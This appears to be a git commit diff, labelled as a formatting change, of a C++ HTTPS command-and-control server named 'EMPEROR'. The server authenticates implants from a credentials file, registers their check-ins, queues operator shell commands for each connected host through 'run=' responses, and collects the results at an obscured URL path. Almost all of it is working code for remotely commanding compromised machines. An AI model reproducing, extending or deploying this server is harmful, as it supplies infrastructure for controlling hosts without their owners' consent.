Improved formatting

This commit is contained in:
elimin8 2021-12-11 20:29:52 +00:00
parent fed0434f37
commit 6994cdb34e
No known key found for this signature in database
GPG Key ID: 0B92E083BBCCAA1E
1 changed files with 190 additions and 229 deletions

View File

@ -1,11 +1,11 @@
#include <fstream>
#include <httpserver.hpp>
#include <iostream>
#include <fstream>
#include <vector>
#include <thread>
#include <map>
#include <string>
#include <regex>
#include <string>
#include <thread>
#include <vector>
// GLOBALS
bool bIncomingHey = false;
@ -24,38 +24,32 @@ std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
std::string sUsername = "";
std::string sPassword = "";
while (true)
{
while (true) {
fCreds >> ch;
if (fCreds.eof())
{
if (fCreds.eof()) {
sPasswords.push_back(sPassword);
break;
}
if (ch == ':')
{
if (ch == ':') {
bUsername = false;
fCreds >> ch;
sUsernames.push_back(sUsername);
sUsername = "";
}
if (ch == '\n')
{
if (ch == '\n') {
bUsername = true;
fCreds >> ch;
sPasswords.push_back(sPassword);
sPassword = "";
}
if (bUsername)
{
if (bUsername) {
sUsername += ch;
}
else
{
else {
sPassword += ch;
}
}
@ -70,8 +64,7 @@ std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
{
std::map<std::string, bool> mConnections;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
mConnections[sCreds[0][iUsernameIndex]] = false;
}
return mConnections;
@ -80,8 +73,7 @@ std::map<std::string,bool> defaultUserConnections(std::vector<std::vector<std::s
std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
{
std::map<std::string, std::string> mComms;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
mComms[sCreds[0][iUsernameIndex]] = "";
}
return mComms;
@ -94,10 +86,8 @@ std::map<std::string,std::string> mResults = defaultUserComms(sCreds);
std::string listUserConnections(std::map<std::string, bool> mConnections)
{
std::ostringstream oss;
for (auto const& [key, val] : mConnections)
{
if (val == true)
{
for (auto const &[key, val] : mConnections) {
if (val == true) {
oss << key << " is active.\n";
}
}
@ -107,19 +97,14 @@ std::string listUserConnections(std::map<std::string,bool> mConnections)
std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);
class command_and_control : public httpserver::http_resource
{
class command_and_control : public httpserver::http_resource {
public:
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
{
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
if (sCreds[0][iUsernameIndex] == sUsername)
{
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
{
if (sCreds[1][iPasswordIndex] == sPassword)
{
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) {
if (sCreds[0][iUsernameIndex] == sUsername) {
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) {
if (sCreds[1][iPasswordIndex] == sPassword) {
return true;
}
}
@ -130,12 +115,9 @@ class command_and_control : public httpserver::http_resource
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
{
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
{
if (req.get_method() == "POST")
{
if (req.get_arg("msg") == "ready")
{
if (verifycreds(sCreds, req.get_user(), req.get_pass())) {
if (req.get_method() == "POST") {
if (req.get_arg("msg") == "ready") {
std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str();
@ -144,21 +126,17 @@ class command_and_control : public httpserver::http_resource
mConnections[req.get_user()] = true;
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
}
if (req.get_arg("msg") == "reqcmd")
{
if (mCommands[req.get_user()] != "")
{
if (req.get_arg("msg") == "reqcmd") {
if (mCommands[req.get_user()] != "") {
std::ostringstream oss;
oss << "run=" << mCommands[req.get_user()];
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
}
else
{
else {
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
}
}
if (req.get_arg("result") != "")
{
if (req.get_arg("result") != "") {
mCommands[req.get_user()] = "";
mResults[req.get_user()] = req.get_arg("result");
std::ostringstream oss;
@ -174,10 +152,8 @@ class command_and_control : public httpserver::http_resource
void checkConnections()
{
while (!bShutdown)
{
if (bIncomingHey)
{
while (!bShutdown) {
if (bIncomingHey) {
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
bIncomingHey = false;
sIncomingHeyUser = "";
@ -189,19 +165,16 @@ void interactConnection(std::string sIdentifier)
{
std::string sCommand;
std::cout << "Starting interaction with " << sIdentifier << std::endl;
while (true)
{
while (true) {
std::cout << "[EMPEROR - " << sIdentifier << "]>";
std::getline(std::cin, sCommand);
if (sCommand == ":q")
{
if (sCommand == ":q") {
break;
}
mCommands[sIdentifier] = sCommand;
std::cout << "Command sent, awaiting response..." << std::endl;
while (mResults[sIdentifier].empty())
{
while (mResults[sIdentifier].empty()) {
continue;
}
std::cout << "Result: " << mResults[sIdentifier] << std::endl;
@ -236,52 +209,43 @@ void prompt()
\ d88888888'
_.>, 888888P'
<,--''`.._>8888(
`>__...--' `''` )" << std::endl;
`>__...--' `''` )"
<< std::endl;
std::cout << "=========================================" << std::endl;
std::string sCommand;
while (true)
{
while (true) {
std::cout << "[EMPEROR]>";
std::getline(std::cin, sCommand);
std::regex rConnect("connect ");
if (sCommand == "connections")
{
if (sCommand == "connections") {
std::cout << listUserConnections(mConnections);
}
if (std::regex_search(sCommand, rConnect))
{
if (std::regex_search(sCommand, rConnect)) {
std::vector<std::string> sCommands;
std::string sSplit;
for (int i = 0; i < sCommand.length(); i++)
{
if (sCommand[i] == ' ')
{
for (int i = 0; i < sCommand.length(); i++) {
if (sCommand[i] == ' ') {
sCommands.push_back(sSplit);
if (sCommands.size() > 2)
{
if (sCommands.size() > 2) {
break;
}
sSplit = "";
}
else
{
else {
sSplit.push_back(sCommand[i]);
if (i == (sCommand.length() - 1))
{
if (i == (sCommand.length() - 1)) {
sCommands.push_back(sSplit);
}
}
}
if (mConnections[sCommands[1]])
{
if (mConnections[sCommands[1]]) {
interactConnection(sCommands[1]);
}
}
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
{
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") {
bShutdown = true;
break;
}
@ -291,10 +255,7 @@ void prompt()
int main(int argc, char **argv)
{
command_and_control c2;
httpserver::webserver ws = httpserver::create_webserver(8665)
.use_ssl()
.https_mem_key("server.key")
.https_mem_cert("server.crt");
httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
ws.start(false);
std::thread tCheck(checkConnections);